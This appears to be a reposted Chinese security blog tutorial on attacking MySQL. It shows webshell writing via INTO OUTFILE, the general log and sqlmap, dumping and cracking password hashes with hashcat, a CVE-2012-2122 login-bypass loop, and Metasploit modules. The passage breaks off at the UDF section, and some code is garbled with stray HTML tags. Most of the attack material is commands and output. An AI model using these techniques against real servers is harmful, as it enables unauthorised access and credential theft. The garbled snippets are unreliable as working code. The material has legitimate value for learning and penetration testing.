当前位置:   article > 正文

MySQL 漏洞利用与提权_mysql getcmd 漏洞

mysql getcmd 漏洞

转载于https://www.sqlsec.com/2020/11/mysql.html#toc-heading-1


自从接触安全以来就 MySQL 的 UDF 提权、MOF 提权耳熟能详,但是貌似国光我一直都没有单独总结过这些零散的姿势点,所以本文就诞生了,再解决自己以前的困扰之余,也希望本文可以帮助到其他网友。

权限获取

数据库操作权限

本文讲的是 MySQL 提权相关知识,但是提权之前得先拿到高权限的 MySQL 用户才可以,拿到 MySQL 的用户名和密码的方式多种多样,但是不外乎就下面几种方法:

  1. MySQL 3306 端口弱口令爆破
  2. sqlmap 注入的 --sql-shell 模式
  3. 网站的数据库配置文件中拿到明文密码信息
  4. CVE-2012-2122 等这类漏洞直接拿下 MySQL 权限

Webshell 权限

into oufile 写 shell

  • 知道网站物理路径
  • 高权限数据库用户
  • load_file() 开启 即 secure_file_priv 无限制
  • 网站路径有写入权限

首先基础语法查询是否 secure_file_priv 没有限制

sql
mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+
  • 1
  • 2
  • 3
  • 4
  • 5
  • 1
  • 2
  • 3
  • 4
  • 5
Value说明
NULL不允许导入或导出
/tmp只允许在 /tmp 目录导入导出
不限制目录

在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件

在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件

如果满足上述所有条件的话,那么可以尝试使用下面原生的 SQL 语句来直接写 shell:

bash
select '<?php phpinfo(); ?>' into outfile '/var/www/html/info.php';

    sqlmap 中可以如下操作:

    bash
    sqlmap -u "http://x.x.x.x/?id=x" --file-write="/Users/guang/Desktop/shell.php" --file-dest="/var/www/html/test/shell.php"

      一般情况下 Linux 系统下面权限分配比较严格,MySQL 用户一般情况下是无法直接往站点根目录写入文件的,这种情况下在 Windows 环境下成功率会很高。

      日志文件写 shell

      • Web 文件夹宽松权限可以写入
      • Windows 系统下
      • 高权限运行 MySQL 或者 Apache

      MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell

      bash
      mysql> SHOW VARIABLES LIKE 'general%';
      +------------------+---------------------------------+
      | Variable_name    | Value                           |
      +------------------+---------------------------------+
      | general_log      | OFF                             |
      | general_log_file | /var/lib/mysql/c1595d3a029a.log |
      +------------------+---------------------------------+
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6

      general_log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。

      可以尝试自定义日志文件,并向日志文件里面写入内容的话,那么就可以成功 getshell:

      bash
      # 更改日志文件位置
      set global general_log = "ON";
      set global general_log_file='/var/www/html/info.php';
      
      • 1
      • 2
      • 3

      # 查看当前配置
      mysql> SHOW VARIABLES LIKE ‘general%’;
      ±-----------------±----------------------------+
      | Variable_name | Value |
      ±-----------------±----------------------------+
      | general_log | ON |
      | general_log_file | /var/www/html/info.php |
      ±-----------------±----------------------------+

      # 往日志里面写入 payload
      select ‘<?php phpinfo();?>’;

      # 此时已经写到 info.php 文件当中了
      root@c1595d3a029a:/var/www/html/$ cat info.php
      /usr/sbin/mysqld, Version: 5.5.61-0ubuntu0.14.04.1 ((Ubuntu)). started with:
      Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock
      Time Id Command Argument
      201031 21:14:46 40 Query SHOW VARIABLES LIKE ‘general%’
      201031 21:15:34 40 Query select '<?php phpinfo();?>

      这里虽然可以成功写入,但是这个 info.php 是 MySQL 创建的 :

      bash
      -rw-rw---- 1 mysql mysql 293 Oct 31 21:15 info.php

        Apache 访问这个 php 文件会出现 HTTP 500 的状态码,结论是 root 系统这种情况基本上不会成功,只有在 Windows 系统下成功率会高一些,不过这里还是可以当做小知识点来学习记录。

        前面分别介绍了数据库权限和 Webshell 权限,那么能不能利用已经获取到的 MySQL 权限来执行系统主机的命令的呢?这个就是下面主要介绍的了 MySQL 提权的知识点了。

        Hash 获取与解密

        假设存在 SQL 注入 DBA 权限,如果目标 3306 端口也是可以访问通的话,可以尝试读取 MySQL 的 Hash 来解密:

        sql
        # MySQL <= 5.6 版本
        mysql> select host, user, password from mysql.user;
        +-----------±-----±------------------------------------------+
        | host | user | password |
        +-----------±-----±------------------------------------------+
        | localhost | root | 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
        | 127.0.0.1 | root | 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
        | ::1 | root | 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
        | % | root | 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
        +-----------±-----±------------------------------------------+
        • 1
        • 2
        • 3
        • 4
        • 5
        • 6
        • 7
        • 8
        • 9
        • 10
        • 1
        • 2
        • 3
        • 4
        • 5
        • 6
        • 7
        • 8
        • 9
        • 10

        # MySQL >= 5.7 版本
        mysql > select host,user,authentication_string from mysql.user;
        +-----------±--------------±------------------------------------------+
        | host | user | authentication_string |
        +-----------±--------------±------------------------------------------+
        | localhost | root | 8232A1298A49F710DBEE0B330C42EEC825D4190A |
        | localhost | mysql.session | THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
        | localhost | mysql.sys | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
        +-----------±--------------±------------------------------------------+

        获取到的 MySQL Hash 值可以通过一些在线网站来解密,如国内的 CMD5 :

        也可以通过 Hashcat 来手动跑字典,基本上使用 GPU 破解的话也是可以秒破解的:

        bash
        hashcat -a 0 -m 300 --force ‘8232A1298A49F710DBEE0B330C42EEC825D4190A’ password.txt -O

          -a 破解模式

          指定要使用的破解模式,其值参考后面对参数

          r
          - [ Attack Modes ] -
          
          • 1

          # | Mode
          =+
          0 | Straight # 直接字典破解
          1 | Combination # 组合破解
          3 | Brute-force # 掩码暴力破解
          6 | Hybrid Wordlist + Mask # 字典+掩码破解
          7 | Hybrid Mask + Wordlist # 掩码+字典破解

          -m 破解hash类型

          指定要破解的hash类型,后面跟hash类型对应的数字,具体类型详见下表:

          bash
          12   | PostgreSQL                                       | Database Server
          131 | MSSQL (2000) | Database Server
          132 | MSSQL (2005) | Database Server
          1731 | MSSQL (2012, 2014) | Database Server
          200 | MySQL323 | Database Server
          300 | MySQL4.1/MySQL5 | Database Server
          .
          • 1
          • 2
          • 3
          • 4
          • 5
          • 6

          –force

          忽略破解过程中的警告信息

          -O

          –optimized-kernel-enable 启用优化的内核(限制密码长度)

          关于更多 Hashcat 的详细教程可以参考国光我的这一篇文章:Hashcat学习记录

          MySQL 历史上的漏洞

          yaSSL 缓冲区溢出

          MySQL yaSSL SSL Hello Message Buffer Overflow 这个缓冲区溢出漏洞 2008 年开始被曝出来,距离现在已经十几年的历史了,所以国光这里没有找到对应的环境测试,不过 MSF 里面已经集成好了对应的模块了:

          bash
          msf6 > use exploit/windows/mysql/mysql_yassl_hello
          msf6 > use exploit/linux/mysql/mysql_yassl_hello
          • 1

          有条件的朋友可以搭建这个漏洞对应的靶场环境

          Linux : MySQL 5.0.45-Debian_1ubuntu3.1-log

          Windows : MySQL 5.0.45-community-nt

          CVE-2012-2122

          知道用户名多次输入错误的密码会有几率可以直接成功登陆进数据库,可以循环 1000 次登陆数据库:

          bash
          for i in </span><span class="token function">seq</span> <span class="token number">1</span> <span class="token number">1000</span><span class="token variable">
            ; do mysql -uroot -pwrong -h 127.0.0.1 -P3306 ; done

              MSF 里面也有了对应的脚本模块可以直接使用,成功后会直接 DUMP 出 MySQL 的 Hash 值:

              bash
              msf6 > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
              msf6 > set rhosts 127.0.0.1
              msf6 > run
              • 1
              • 2

              这个 MySQL 的 Hash 解密出的结果为 123456

              UDF 提权

              自定义函数,是数据库功能的一种扩展。用户通

              声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/盐析白兔/article/detail/987301
              推荐阅读
              相关标签